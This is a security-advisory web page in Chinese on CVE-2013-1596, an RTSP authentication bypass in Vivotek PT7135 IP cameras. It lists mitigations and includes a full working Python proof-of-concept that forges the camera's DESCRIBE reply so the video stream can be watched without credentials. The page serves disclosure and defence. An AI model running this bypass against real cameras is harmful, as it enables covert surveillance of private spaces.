Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / 多个Vivotek IP摄像机远程身份验证绕过漏洞(CVE-2013-1596)

发布日期:2013-04-30
更新日期:2013-05-03受影响系统:
Vivotek PT7135 IP camera 0400a
 Vivotek PT7135 IP camera 0300a
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 59574
 CVE(CAN) ID: CVE-2013-1596
 
Vivotek是网络视频解决方案提供商。
 
Vivotek PT7135网络摄像头存在RTSP身份验证绕过漏洞,通过向TCP端口554发送特制的RTSP报文,未经身份验证的远程攻击者可访问视频流。
 
<*来源:Francisco Falcon
       Nahuel Riva
 
 链接:http://seclists.org/fulldisclosure/2013/Apr/252
       http://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities
 *>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 126
 127
 128
 129
 130
 131
 132
 133
 134
 135
 136
 137
 138
 139
 140
 141
 142
 143
 144
 145
 146
 147
 148
 149
 150
 151
 152
 153
 154
 155
 156
 157
 158
 159
 160
 161
 162
 163
 164
 165
 166
 167
 168
 169
 170
 171
 172
 173
 174
 import sys
 from socket import *
 from threading import Thread
 import time, re LOGGING = 1 def log(s):
   if LOGGING:
       print "(%s) %s" % (time.ctime(), s) class UDPRequestHandler(Thread):
   def __init__(self, data_to_send, recv_addr, dst_addr):
       Thread.__init__(self)
       self.data_to_send = data_to_send
       self.recv_addr = recv_addr
       self.dst_addr = dst_addr
     
    def run(self):
       sender = socket(AF_INET, SOCK_DGRAM)
       sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
       sender.sendto(self.data_to_send, self.dst_addr)
       response = sender.recv(1024)
       sender.sendto(response, self.recv_addr)
       sender.close()
 class UDPDispatcher(Thread):
   dispatchers = []
     
    def __has_dispatcher_for(self, port):
       return any([d.src_port == port for d in UDPDispatcher.dispatchers])
     
    def __init__(self, src_port, dst_addr):
       Thread.__init__(self)
       if self.__has_dispatcher_for(src_port):
           raise Exception("There is already a dispatcher for port %d" % src_port)
       self.src_port = src_port
       self.dst_addr = dst_addr
       UDPDispatcher.dispatchers.append(self)
     
    def run(self):
       listener = socket(AF_INET, SOCK_DGRAM)
       listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
       listener.bind(("", self.src_port))
       while 1:
           try:
               data, recv_addr = listener.recvfrom(1024)
               if not data: break
               UDPRequestHandler(data, recv_addr, self.dst_addr).start()
           except Exception as e:
               print e
               break     
        listener.close()
       UDPDispatcher.dispatchers.remove( self )
 class PipeThread(Thread):
   pipes = []
   def __init__(self, source, sink, process_data_callback=lambda x: x):
       Thread.__init__(self)
       self.source = source
       self.sink = sink
       self.process_data_callback = process_data_callback
       PipeThread.pipes.append(self)   def run(self):
       while 1:
           try:
               data = self.source.recv(1024)
               data = self.process_data_callback(data)
               if not data: break
               self.sink.send( data )
           except Exception as e:
               log(e)
               break
       PipeThread.pipes.remove(self)
 class TCPTunnel(Thread):
   def __init__(self, src_port, dst_addr, process_data_callback=lambda x: x):
       Thread.__init__(self)
       log("[*] Redirecting: localhost:%s -> %s:%s" % (src_port, dst_addr[0], dst_addr[1]))
       self.dst_addr = dst_addr
       self.process_data_callback = process_data_callback
       # Create TCP listener socket
       self.sock = socket(AF_INET, SOCK_STREAM)
       self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
       self.sock.bind(("", src_port))
       self.sock.listen(5)
     
    def run(self):
       while 1:
           # Wait until a new connection arises
           newsock, address = self.sock.accept()
           # Create forwarder socket
           fwd = socket(AF_INET, SOCK_STREAM)
           fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
           fwd.connect(self.dst_addr)
           # Pipe them!
           PipeThread(newsock, fwd, self.process_data_callback).start()
           PipeThread(fwd, newsock, self.process_data_callback).start()
 class Camera():
   def __init__(self, address):
       self.address = address
   def get_describe_data(self):
       return ""
 class Vivotek(Camera):
   # Vivotek PT7135/0400a
   def __init__(self, address):
       Camera.__init__(self, address)
   def get_describe_data(self):
       return "v=0 o=RTSP 836244 0 IN IP4 0.0.0.0 s=RTSP server c=IN IP4 0.0.0.0 t=0 0 a=charset:Shift_JIS a=range:npt=0- a=control:* a=etag:1234567890 m=video 0 RTP/AVP 96 b=AS:1200 a=rtpmap:96 MP4V-ES/30000 a=control:trackID=1 a=fmtp:96 profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800 m=audio 0 RTP/AVP 97 a=control:trackID=3 a=rtpmap:97 mpeg4-generic/16000/2 a=fmtp:97 streamtype=5; profile-level-id=15; mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3; IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0; "
 class RTSPAuthByPasser():
   DESCRIBE_REQ_HEADER = "DESCRIBE rtsp://"
   UNAUTHORIZED_RESPONSE = "RTSP/1.0 401 Unauthorized"
   SERVER_PORT_ARGUMENTS = "server_port="
   DEFAULT_CSEQ = 1
   DEFAULT_SERVER_PORT_RANGE = "5556-5559"   def __init__(self, local_port, camera):
       self.last_describe_req = ""
       self.camera = camera
       self.local_port = local_port
         
    def start(self):
       log("[!] Starting bypasser")
       TCPTunnel(self.local_port, self.camera.address, self.spoof_rtsp_conn).start()
         
    def spoof_rtsp_conn(self, data):
       if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
           self.last_describe_req = data
       elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and self.last_describe_req:
           log("[!] Unauthorized response received. Spoofing...")
           spoofed_describe = self.camera.get_describe_data()
           # Look for the request CSeq
           m = re.search(".*CSeq:\s*(\d+?) .*", self.last_describe_req)
           cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ
           # Create the response
           data = "RTSP/1.0 200 OK "
           data+= "CSeq: %s " % cseq
           data+= "Content-Type: application/sdp "
           data+= "Content-Length: %d " % len(spoofed_describe)
           data+= " "
           # Attach the spoofed describe
           data+= spoofed_describe     
        elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:
           # Look for the server RTP ports
           m = re.search(".*%s\s*(.+?)[;| ].*" % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)
           ports = m.group(1) if m else RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE
           # For each port in the range create a UDP dispatcher
           begin_port, end_port = map(int, ports.split("-"))
           for udp_port in xrange(begin_port, end_port + 1):
               try:
                   UDPDispatcher(udp_port, (self.camera.address[0], udp_port)).start()
               except:
                   pass     
        return data if __name__ == "__main__":
   if len( sys.argv ) > 1:
       listener_port = camera_port = int(sys.argv[1])
       camera_ip = sys.argv[2]
       if len(sys.argv) == 4:
           camera_port = int(sys.argv[3])
       RTSPAuthByPasser(listener_port, Vivotek((camera_ip, camera_port))).start()
   else:
       print "usage: python %s [local_port] [camera_ip] [camera_rtsp_port]"建议:
--------------------------------------------------------------------------------
临时解决方法:
 
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
 
* 除非需要,不要将摄像机联网。
 * 如果可能,过滤RTSP流(默认端口554)。
 * 在HTTP请求中,至少有一个代理过滤 /../../ 、getparam.cgi
 * 对 farseer.out 的每个请求,过滤参数 system.ntp 内的字符串。
 
厂商补丁:
 
Vivotek
 -------
 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 
http://www.vivotek.com/web/product/NetworkCameras.aspxFreeBSD NFS Server READDIR请求处理内存破坏漏洞(CVE-2013-3266)多个Vivotek IP摄像机命令注入漏洞(CVE-2013-1598)相关资讯      Vivotek  Vivotek安全漏洞 
  • 多个Vivotek IP摄像机命令注入漏洞  (05/03/2013 07:11:23)
  • 多个Vivotek IP摄像机远程缓冲区溢  (05/02/2013 17:15:31)
  • 多个Vivotek IP摄像机目录遍历漏洞  (05/02/2013 17:17:16)
  • Vivotek网络摄像机信息泄露漏洞  (07/18/2012 09:35:59)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站